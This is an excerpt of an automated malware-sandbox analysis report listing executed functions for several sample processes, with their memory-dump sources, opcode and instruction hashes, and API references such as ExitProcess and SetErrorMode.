Function 04D00D32 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc3251e9ee3829ff78f24bc0e87896d933689c5fc53a56ee6fb425a043c551ac
Instruction ID: 16d3245389fef1434bb906acb855544ec42501a774a0a99e7dc4d94f2718fe29
Opcode Fuzzy Hash: fc3251e9ee3829ff78f24bc0e87896d933689c5fc53a56ee6fb425a043c551ac
Instruction Fuzzy Hash: 7C1129A7648500BEE103859577147F27B6EB7D6B30730C06AF587D7D81F294FA0A6271

Function 04D00CFB Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bbe670269c1d046c816740160f2710011d8e72fd7a67864173c2c275af73e6a
Instruction ID: 3071c4da3b09676e96fff2c1c375685d1e728e28a4f68b8b80a73311e88f444e
Opcode Fuzzy Hash: 8bbe670269c1d046c816740160f2710011d8e72fd7a67864173c2c275af73e6a
Instruction Fuzzy Hash: DD11DCE764C150BE9303429436557B07F2EBA5B330334C0AAE4C38BC83F294BB09A131

Function 04D00CB8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3f4daa2dc024ddb76a6bd542b80f84b8d39f6cc444a527c0ac7529ff6ebf968
Instruction ID: 0d3f58433864d69dc2b59fe03ec6df64c0a3512997e1f32d5278348c092df6a4
Opcode Fuzzy Hash: e3f4daa2dc024ddb76a6bd542b80f84b8d39f6cc444a527c0ac7529ff6ebf968
Instruction Fuzzy Hash: 5901D6EB74C110FE6143858677007B6262EA5D7B30370C065F48BD7E82B294FE097131

Function 04D00CBD Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3503e2351212c737265edbc8954b89acd7f7e8605d4c714d41c3d4f4ffc3fa7a
Instruction ID: 2bd098632d22f431e9a6ad8838af52458201350605b449e5a36dcf8071ec4bc1
Opcode Fuzzy Hash: 3503e2351212c737265edbc8954b89acd7f7e8605d4c714d41c3d4f4ffc3fa7a
Instruction Fuzzy Hash: 320122EB35C110BE6143868A77007B6262EE5E7B30330C426B48BD7E82F2A4FE097131

Function 04D00CAE Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8ad5212d2cf5b7be91826a0445e6eabb87466d04b93dd773d993eae550ca4e
Instruction ID: 82d43bb943f16624ba6fdf6799d2f6e699cfc04bd4957ec3aa1277b416d851c7
Opcode Fuzzy Hash: 7d8ad5212d2cf5b7be91826a0445e6eabb87466d04b93dd773d993eae550ca4e
Instruction Fuzzy Hash: 080192EB75C110BE6143868677147B6266EA5D7730370C066F48BD7E82B6A4FA097131

Function 04D00CCE Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7e7aaef98f67b1a411a2fe25cbeee20872b49708c1295fec5078ec6a2c18096
Instruction ID: a5a8d5a65383798b5a88110b96c1546e810a243536d24696b811dc133cd719d6
Opcode Fuzzy Hash: a7e7aaef98f67b1a411a2fe25cbeee20872b49708c1295fec5078ec6a2c18096
Instruction Fuzzy Hash: 2501C4EB648210FE6143864577407B6766EA997730370C066F48BD7A81F6A4FE496131

Function 04D00D77 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea914217ff30c67a3a013127534050dd1a86a94c23f09d62c3e27903d5c886b
Instruction ID: d9394ba7f9c14c224a0eebc6ade46039152d1669cfd5cf8f3068267ae83f69d6
Opcode Fuzzy Hash: eea914217ff30c67a3a013127534050dd1a86a94c23f09d62c3e27903d5c886b
Instruction Fuzzy Hash: 5AF0F0EB298110BE2143428237143F22A2EA597730334C06AF8C797E83B5D4FA497131

Function 04D00DB0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb7458bdb8353c160e24811ef06e1544624548e210f19104c535bfa51b65e470
Instruction ID: e0a043502e0e46824b1aa53508727285047152aaba8d793aaec0ba919617854e
Opcode Fuzzy Hash: bb7458bdb8353c160e24811ef06e1544624548e210f19104c535bfa51b65e470
Instruction Fuzzy Hash: E8E0687325C251EFC307A62164553357B637F0222036481AEE0C3CB9C3FA2EF265A361

Function 04D00D9F Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080093123.0000000004D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d00000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f5c2aa052151017477b0f1d2c835eb2ccfba7bc752bdde6bf6b716a2bb795af
Instruction ID: 30d190b4ccf792a20a2aac344e60b7ce82fa575a05bb85152c0835e4aaf72591
Opcode Fuzzy Hash: 7f5c2aa052151017477b0f1d2c835eb2ccfba7bc752bdde6bf6b716a2bb795af
Instruction Fuzzy Hash: FCE072A732C210BF82434151361A7B52329A9C2331334C4A6E8C3C3982B448F215A031

Analysis Process: b6042db502.exePID: 7332, Parent PID: 2892COMMON

Executed Functions

Function 052C0B79 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb301de6ed9299a1aa6653d7339b85b745573ee5381adb209c8824383f215341
Instruction ID: f1bbf023bbb96cda6d3fe1f54b57970ee301abd831582bf9e5773037b45d460f
Opcode Fuzzy Hash: bb301de6ed9299a1aa6653d7339b85b745573ee5381adb209c8824383f215341
Instruction Fuzzy Hash: 1111A2EB0B8120FD1003D5865B4D5FE7DAFBDA777033082EDB40B9AA03A2D447199162

Function 052C0BBA Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6cf1df4a59ec634c938e34b6d372100e227c70cfd9fa5753872582e2cd1b7e
Instruction ID: 165267d3f7ecc6ade89e9ceb5cd2b35fea6e51c8e8a1a52e7cf736ed8cb65924
Opcode Fuzzy Hash: 3e6cf1df4a59ec634c938e34b6d372100e227c70cfd9fa5753872582e2cd1b7e
Instruction Fuzzy Hash: 2C018EEB0BC120FD5043D1C6574D5BE7DAFBE6B73033082EAB50B9AA03A2D40319A162

Function 052C0BB1 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8ff554edfc1a7d6d5e0d1a9dbdf33aad389a3f0dfccea832b00f086350c888b
Instruction ID: 2c5438a17b575c62a9d18d75297790dc391048dc1fe2dc8e38c093f3164a47ac
Opcode Fuzzy Hash: f8ff554edfc1a7d6d5e0d1a9dbdf33aad389a3f0dfccea832b00f086350c888b
Instruction Fuzzy Hash: 2C118EEB0B8520F94043D6C6474D5BE7DAFBE6B73033082EAB50B9AA03A2D447199162

Function 052C0BC9 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6525bbc9b8d4b2b5fc2e32c78bf52942d4600003eee183f4fe541a3b333ff4
Instruction ID: f5820aa16e567ab7619519033b05e4a50ffdbdd0f875b36725922f79f3179cc9
Opcode Fuzzy Hash: ff6525bbc9b8d4b2b5fc2e32c78bf52942d4600003eee183f4fe541a3b333ff4
Instruction Fuzzy Hash: 14015EEB0B8110F94003D682574D5FE7DAFBE6B73073082E9B54B99A03A6D44359A166

Function 052C0C04 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 046781b16839fa25889af2a771cd0f903ed2c2058369b34569a6250e70e27bcb
Instruction ID: a647f26eb6c2591c141b249bfb407b5b0169a822f436ec60cc0d7e8f8a2e4fd0
Opcode Fuzzy Hash: 046781b16839fa25889af2a771cd0f903ed2c2058369b34569a6250e70e27bcb
Instruction Fuzzy Hash: B31102EB47C114F98203D2C1474C5BE3E9BBE6B33073083EDF14B99A4396D4070A9626

Function 052C0BE1 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 792f1c4a9cf0f9ea74bb194e1cc2db583ed3aa75105760e516d1727b1fbc58c6
Instruction ID: ef284d333e1a30a6299a0680c1bc061e081253204d5623c90640ccd9b22d7055
Opcode Fuzzy Hash: 792f1c4a9cf0f9ea74bb194e1cc2db583ed3aa75105760e516d1727b1fbc58c6
Instruction Fuzzy Hash: 12118EEB0B8114FD0103D2C6574D6BE7D9FBE6B73073082E9B50B9AA03A2D447199166

Function 052C0C59 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 009413b78ce01efee73189bb448cca5e874e2c8c24dfe3d7a3ad3da9d206796c
Instruction ID: 2e87857b6d93f7ed8408432ee03c42f53d76bc8ee0a984f20829e64ed958b0f3
Opcode Fuzzy Hash: 009413b78ce01efee73189bb448cca5e874e2c8c24dfe3d7a3ad3da9d206796c
Instruction Fuzzy Hash: 0901D2EB0BC120FD4102D5918A4C9BE3EAFBEAB73033083DEB44789A1362D447169166

Function 052C0C2B Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49287083cacda34a8807d348e2a8cfa0d75989e8a30897c3a0fb715f82b1ab43
Instruction ID: fe68bf63d491646f6fa7e0a34d6163d06a0275d3623f7f0a6f0c9779453ead5b
Opcode Fuzzy Hash: 49287083cacda34a8807d348e2a8cfa0d75989e8a30897c3a0fb715f82b1ab43
Instruction Fuzzy Hash: 7C018FEB0BC410FD4102D5D5474D9BE3D9FBEAA73073087EEB44B99A13A2D447169162

Function 052C0C90 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0edb4c74d376dfe1765feadef6ba9e73de6e310c4686413120fd5ede37cf43
Instruction ID: fdcdbd872260dab8a5854d0a6568c17398a386543cb004e739b26497ecb7c83f
Opcode Fuzzy Hash: ab0edb4c74d376dfe1765feadef6ba9e73de6e310c4686413120fd5ede37cf43
Instruction Fuzzy Hash: 27F04CA743C290EDD353D5A144EC0BE3FD6AE5632073482DDD447CA543D2C452559111

Function 052C0C7D Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2224890828.00000000052C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52c0000_b6042db502.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a59d1bc1a8e2c9b6640aae2d17945ba1ccc16adf2bde8fc6f1b3ded06f4d4cc4
Instruction ID: d28fd4ffc97bd510d11cbece6c46a5cd7c760843a382bbe6843b5b3aee5b3491
Opcode Fuzzy Hash: a59d1bc1a8e2c9b6640aae2d17945ba1ccc16adf2bde8fc6f1b3ded06f4d4cc4
Instruction Fuzzy Hash: AAE0E5EB07C010EC4143D1C2565D67E2DA7FDAA73033083DEE44788A0381D803598223

Analysis Process: 8bcaec3fef.exePID: 7984, Parent PID: 2892COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	9.1%
Signature Coverage:	7.1%
Total number of Nodes:	99
Total number of Limit Nodes:	13

Executed Functions

Function 00424CE8 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000003,?,00424CBE,00000003,004C88B8,0000000C,00424E15,00000003,00000002,00000000,?,004328E9,00000003), ref: 00424D22

Memory Dump Source

Source File: 00000009.00000002.2559987207.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2559914416.0000000000400000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004CC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560249205.00000000004D4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.000000000051C000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.0000000000774000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007AD000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007B5000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007C3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561062884.00000000007C4000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561242126.0000000000959000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561284789.000000000095A000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561329898.0000000000960000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561369810.0000000000961000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8bcaec3fef.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: df96625e45a2b9d77b44258b20a0c052c84ef530cd357c9264fcb1ea2e503e7e
Instruction ID: e579bfa445ce73fdabf7ddd9ef774606ad2f1f60f17ba6af2c60c55b8ea93f84
Opcode Fuzzy Hash: df96625e45a2b9d77b44258b20a0c052c84ef530cd357c9264fcb1ea2e503e7e
Instruction Fuzzy Hash: 1BE08C302521087FCF35BF16E902E893B5AEF92B84F401419FC080B223CB29ED42C984

Function 0A1600E6 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cw{y, xrefs: 0A160119

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID: Cw{y
API String ID: 0-474562495
Opcode ID: c95a13df8aaa3d708d9496bf1d8e945a3735d0dde22984033d7c8d94fa86b2c4
Instruction ID: 9e2259f9d0e4717528c354e503064e06b6197f543fef8771fd7643dce8eb23ca
Opcode Fuzzy Hash: c95a13df8aaa3d708d9496bf1d8e945a3735d0dde22984033d7c8d94fa86b2c4
Instruction Fuzzy Hash: 4181AFEB14C121BDB16A95422B64AFB6B2DE6CA730732C43FF407D5502E3A40FAD5532

Function 0A1600EF Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 432
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Cw{y, xrefs: 0A160119

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID: Cw{y
API String ID: 2340568224-474562495
Opcode ID: f4e5b3725fd08ee36dcaf24f553e057235080d1ad7816d84b70bc9f1090e6b59
Instruction ID: 685a09503408d3f95b511c01c43be0f374075dc35025cd79e4c90337f6139bf6
Opcode Fuzzy Hash: f4e5b3725fd08ee36dcaf24f553e057235080d1ad7816d84b70bc9f1090e6b59
Instruction Fuzzy Hash: BF819FEB14C121BDB16A95422B68AFA6B3DE6CA730732C43BF407D5502E7A40FA95532

Function 0041FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00420668
__CxxThrowException@8.LIBVCRUNTIME ref: 00420685

Strings

Unknown exception, xrefs: 00420692

Memory Dump Source

Source File: 00000009.00000002.2559987207.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2559914416.0000000000400000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2559987207.00000000004CC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560249205.00000000004D4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.000000000051C000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.0000000000774000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007AD000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007B5000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2560316369.00000000007C3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561062884.00000000007C4000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561242126.0000000000959000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561284789.000000000095A000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561329898.0000000000960000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.2561369810.0000000000961000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_8bcaec3fef.jbxd

Similarity

API ID: Exception@8Throw
String ID: Unknown exception
API String ID: 2005118841-410509341
Opcode ID: 4d957e64b927e34475b32d4a05c890bfe195c8fb4696a6e2be0c88fea0b7a907
Instruction ID: d7484763414f49eec336292b0164322d8bc8fec0ec74b040b8fefe003bdda1d4
Opcode Fuzzy Hash: 4d957e64b927e34475b32d4a05c890bfe195c8fb4696a6e2be0c88fea0b7a907
Instruction Fuzzy Hash: 83F0F434B0021CB3CB00BA65F846D9E7BAC5E00304BA0413BB81481592EF3CDA6A858C

Function 0A160147 Relevance: 3.4, APIs: 2, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(4D02ADF2), ref: 0A160330

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 633651529f8a6621cb0d3cefa2cd67103f93d9683d14a34d01a745efb31bb54c
Instruction ID: a4935e67a4001c6dd7d883cfb1de5db74068efbc4bf5c8bd2c31d7db5556af44
Opcode Fuzzy Hash: 633651529f8a6621cb0d3cefa2cd67103f93d9683d14a34d01a745efb31bb54c
Instruction Fuzzy Hash: 46819EEB14D121BDB16A95422B64AFA6B2DE5CA730732C87FF407D5502E3A80FAD5132

Function 0A16012F Relevance: 3.4, APIs: 2, Instructions: 416
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: ef1d9f3bc9ea1ad505d85570385057ef41ad548dd088d66ed323cbcae7685b4b
Instruction ID: 3359422e6ba69d3e842f7e17de68b56c313231a7366a023e25c67680a317981a
Opcode Fuzzy Hash: ef1d9f3bc9ea1ad505d85570385057ef41ad548dd088d66ed323cbcae7685b4b
Instruction Fuzzy Hash: 44819EEB14C125BDB16A95422B68AFA6B2DE5CA730732C83FF407D5502E3A40FAD5032

Function 0A160166 Relevance: 3.4, APIs: 2, Instructions: 404
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: d88fd65550808612a4bd08ff4146991686381e624c3752684f6769fc8cf03bbc
Instruction ID: 8b27ccc9c163252c1d17da66d00eb5ac991865d4d4f8f64e189b948b42bf68d7
Opcode Fuzzy Hash: d88fd65550808612a4bd08ff4146991686381e624c3752684f6769fc8cf03bbc
Instruction Fuzzy Hash: 867190EB14C121BDB16A95422B68AFA6B2DE5CA730732C43FF407D5502E7E40FAD5132

Function 0A1601C3 Relevance: 3.4, APIs: 2, Instructions: 388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d9dacbc9680135b091f48ea91931836c18f74e212a9fdf512261de72f53c297
Instruction ID: 88d7bc87a0666c4d24ca7bf312137e88efdd2b099a06febe73b6d2279342caa0
Opcode Fuzzy Hash: 6d9dacbc9680135b091f48ea91931836c18f74e212a9fdf512261de72f53c297
Instruction Fuzzy Hash: D571A0EB14C121BDB16A95422B64AFA6B6DE5CA730732C43FF407D5502E7A40FAD5132

Function 0A16018C Relevance: 3.4, APIs: 2, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: d6167bd19740983d9e869e2239e8242e3fe98653c87cf2783fadff0b3c824905
Instruction ID: c7e35d5c6c9ae64547b3e6f34e044f1a9ca35b8165b8b9b4c5386f1a3cfe600b
Opcode Fuzzy Hash: d6167bd19740983d9e869e2239e8242e3fe98653c87cf2783fadff0b3c824905
Instruction Fuzzy Hash: 5271B0EB14D121BDB16A95422B68AFA6B2EE5CA730732C43FF407D5502E3E40FAD5132

Function 0A1601A4 Relevance: 3.4, APIs: 2, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 60b76072ceda264a7cb7d3f109e8b89c36148f8fb1aef1380f6ca8895fc5b750
Instruction ID: 2e57b62ee4f616cef70f5db900d3d3e3eb24ee5e5fd731ae109edfa24eba7e29
Opcode Fuzzy Hash: 60b76072ceda264a7cb7d3f109e8b89c36148f8fb1aef1380f6ca8895fc5b750
Instruction Fuzzy Hash: C271A0EB14C125BDB16A95422B64AFA6B2EE6CA730732C43FF407D5502E3E40FAD5032

Function 0A16020B Relevance: 3.4, APIs: 2, Instructions: 358
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(4D02ADF2), ref: 0A160330

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 2138a73a6beea496de0b2a5c0dce3b2414029da505e83d129140af452f672462
Instruction ID: e9b7cdbc421dac040d0e0e52bc6f254d7886b5125bc0336cca53545150365ee1
Opcode Fuzzy Hash: 2138a73a6beea496de0b2a5c0dce3b2414029da505e83d129140af452f672462
Instruction Fuzzy Hash: 3A61C1EB14C121BEB16A95462B68AFA6B6DE5CA730732C43FF407C5502E7E40FAD5032

Function 0A1601D3 Relevance: 3.4, APIs: 2, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2568548499.000000000A160000.00000040.00001000.00020000.00000000.sdmp, Offset: 0A160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a160000_8bcaec3fef.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 4a9af7b40709937233ebd8023cff226f35f4a4d71ffe23e77915299204c14dd0
Instruction ID: b17d2291e31c024ea505338a5c598a7606bc7009be678c656417cbc2220ef353
Opcode Fuzzy Hash: 4a9af7b40709937233ebd8023cff226f35f4a4d71ffe23e77915299204c14dd0
Instruction Fuzzy Hash: 5D6190EB14C125BDB16A95422B64AFA6B2EE6CA730732C43FF407D5502E7E40FAD5032

Function 0A1601F0 Relevance: 3.4, APIs: 2, Instructions: 352
COMMON

